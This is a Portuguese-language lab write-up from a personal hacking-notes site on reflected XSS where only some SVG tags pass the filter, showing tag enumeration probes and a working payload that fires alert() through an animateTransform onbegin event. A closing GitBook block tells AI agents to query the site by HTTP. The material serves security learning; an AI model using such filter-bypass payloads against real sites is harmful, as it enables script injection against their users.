> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-with-svg-tags-allowed.md).

# XSS Refletido com Tags SVG Permitidas

### XSS refletido com alguma marcação SVG permitida

Vulnerabilidade de XSS Pense simples. A aplicação bloqueia tags HTML comuns, mas permite a passagem de algumas tags SVG e certos atributos/eventos. Objetivo: disparar `alert()` por meio de uma tag SVG.

<figure><img src="/files/3a27f9e77f279223f47ecbc7fb03647404be2d89" alt=""><figcaption></figcaption></figure>

* Tags HTML convencionais são bloqueadas.
* É feita uma enumeração aproximada das tags autorizadas.

<figure><img src="/files/1ae8f0ddc4b0cbb04b32a5c92504ff7aa9fbfb3b" alt=""><figcaption></figcaption></figure>

* Resposta do servidor / testes mostrando as tags encontradas: `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* Testes sucessivos de inserção:
* `<svg><animateTransform a=1>` — inserção básica.
* tentativa de codificação / variação de espaço: `<svg><animateTransform%20a=1>` — para contornar a filtragem.
* O disponível `onbegin` evento pode ser encontrado em `animateTransform`.

<figure><img src="/files/bac3515459637f6bfe62b4ab6f94b4a2ea62ed8f" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="/files/09f4f4b7c130faec85d924a87dc587d607e3da45" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-with-svg-tags-allowed.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
